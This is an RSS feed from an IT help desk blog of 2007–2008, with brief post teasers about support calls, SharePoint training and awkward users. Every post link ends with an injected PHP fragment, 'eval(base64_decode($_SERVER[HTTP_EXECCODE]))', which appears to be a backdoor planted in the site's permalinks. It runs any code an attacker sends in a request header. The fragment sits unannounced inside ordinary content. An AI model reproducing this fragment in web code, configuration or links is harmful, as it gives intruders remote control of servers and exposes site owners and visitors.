http://thehelldesk.com/blogs/thedesk True Life From Behind The Desk Wed, 13 Feb 2008 05:10:51 +0000 http://backend.userland.com/rss092 en If you're a helldesk analyst, you'll understand what I'm saying below... If you're not, well, keep reading anyway, you'll probably learn something. 90% of our calls are normal, everyday, run of the mill, simple one line answers. These calls will normally start with "I know this probably is a stupid question..." Yeah, ... http://thehelldesk.com/blogs/thedesk/2008/02/12/a-little-helldesk-clarification-for-users-and-staff/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Ok, so each day we have to do something that doesn't quite fall in our scope of work duties. Sometimes things come up and you have to deal with them, other times you're forced into a job because a manager decides you'll do it or else. In my line of work ... http://thehelldesk.com/blogs/thedesk/2008/01/29/its-not-my-job-its-yours/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I'm a semi-big fan of reading blogs, not a big fan of using them. I am satisfied by the functionality and ease of WordPress, though. This is also the first time I've had someone, besides myself, working on this site. It kind of puts me to shame because my writing ... http://thehelldesk.com/blogs/thedesk/2007/12/14/the-ladies-man-blog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Ok, so I have no idea why I used that title. Of course, having a raging sinus infection + 8 hours of in depth training will make a man go insane. Day 3 has come and gone and we finally learned something... SharePoint is a unique web app with a ... http://thehelldesk.com/blogs/thedesk/2007/12/12/damnit-jim-im-a-doctor-not-a-systems-analyst/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I am spending the entire week in SharePoint training. This isn't my favorite type of web app, but I know how to administer it... just part of my job. Training isn't always fun, especially when you attend at work instead of traveling to another place. I don't feel good, sinus infection, ... http://thehelldesk.com/blogs/thedesk/2007/12/11/training-all-week-w00t/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Life isn't supposed to be easy, but in this kind of position where we're supposed to know all, it always makes for a longer day when we have to deal with the "Know-It-All"... The person who intends on making life harder than it has to be, if only they would ... http://thehelldesk.com/blogs/thedesk/2007/12/11/the-wonderful-world-of-the-know-it-all/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ This is just my corner of the helldesk. From here I'll comment, complain, gripe and just generally give you a feel for what it's like to work in a fully functional Helldesk. http://thehelldesk.com/blogs/thedesk/2007/12/10/welcome/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/